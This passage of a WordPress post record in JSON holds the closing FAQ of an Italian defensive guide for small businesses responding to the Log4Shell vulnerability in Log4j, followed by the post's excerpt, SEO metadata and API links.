applicativi lo includono.\"}},{\"@type\":\"Question\",\"name\":\"Basta aggiornare Log4j a 2.15.0?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"No, la 2.15.0 e' parziale ed e' affetta da CVE-2021-45046. Aggiorna direttamente alla 2.16.0 o applica mitigation di emergenza.\"}},{\"@type\":\"Question\",\"name\":\"Sono dietro a un firewall, sono vulnerabile?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Si', se l'applicazione riceve input dall'esterno o e' raggiungibile da endpoint interni compromessi.\"}},{\"@type\":\"Question\",\"name\":\"Quanto tempo richiede il patching?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Da un'ora per microservizi semplici a settimane per applicativi enterprise con vendor coinvolti.\"}},{\"@type\":\"Question\",\"name\":\"Devo notificare al Garante Privacy?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Solo in caso di evidenza o sospetto fondato di compromissione che coinvolga dati personali. La sola vulnerabilita' non e' notificabile.\"}},{\"@type\":\"Question\",\"name\":\"I miei backup sono al sicuro?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Se i sistemi compromessi avevano accesso ai backup, possibilmente no. Verifica integrita' e considera la strategia 3-2-1.\"}},{\"@type\":\"Question\",\"name\":\"Quanto durera' questa emergenza?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Alcuni mesi. La superficie di attacco e' enorme e nuove varianti stanno emergendo. Considerala l'inizio di una fase di vulnerability management piu' intensa.\"}}]}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Log4Shell (CVE-2021-44228) e la peggiore RCE del 2021. Guida operativa per PMI italiane: mitigation in 24h, patching, WAF, threat hunting.<\/p>\n","protected":false},"author":2,"featured_media":1664,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_titles_title":"Log4Shell CVE-2021-44228: risposta in 24h per PMI | Brentasoft","_seopress_titles_desc":"Log4Shell (CVE-2021-44228) e una RCE critica in Apache Log4j 2.x. Guida operativa: inventario, mitigation immediate, patching 2.16, WAF e threat hunting.","_seopress_robots_index":"","_seopress_robots_follow":"","_seopress_robots_imageindex":"","_seopress_robots_snippet":"","_seopress_robots_primary_cat":"","_seopress_robots_breadcrumbs":"","_seopress_robots_freeze_modified_date":"","_seopress_robots_custom_modified_date":"","_seopress_robots_canonical":"https:\/\/brentasoft.com\/blog\/log4shell-cve-2021-44228-pmi-risposta-2021\/","_seopress_social_fb_title":"Log4Shell CVE-2021-44228: risposta in 24h per PMI italiane","_seopress_social_fb_desc":"Guida operativa per PMI italiane: come rispondere a Log4Shell nelle prime 24 ore. Mitigation, patching Log4j 2.16, regole WAF e threat hunting.","_seopress_social_fb_img":"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2026\/06\/log4shell_featured.jpg","_seopress_social_fb_img_attachment_id":0,"_seopress_social_fb_img_width":0,"_seopress_social_fb_img_height":0,"_seopress_social_twitter_title":"Log4Shell CVE-2021-44228: risposta in 24h per PMI italiane","_seopress_social_twitter_desc":"Mitigation, patching Log4j 2.16, WAF rules e threat hunting per PMI italiane nei primi giorni post-disclosure.","_seopress_social_twitter_img":"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2026\/06\/log4shell_featured.jpg","_seopress_social_twitter_img_attachment_id":0,"_seopress_social_twitter_img_width":0,"_seopress_social_twitter_img_height":0,"_seopress_redirections_value":"","_seopress_redirections_enabled":"","_seopress_redirections_enabled_regex":"","_seopress_redirections_logged_status":"","_seopress_redirections_param":"","_seopress_redirections_type":0,"_seopress_analysis_target_kw":"","footnotes":""},"categories":[25],"tags":[],"class_list":["post-1684","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-compliance-normative"],"_links":{"self":[{"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/posts\/1684","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/comments?post=1684"}],"version-history":[{"count":0,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/posts\/1684\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/media\/1664"}],"wp:attachment":[{"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/media?parent=1684"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/categories?post=1684"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/tags?post=1684"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}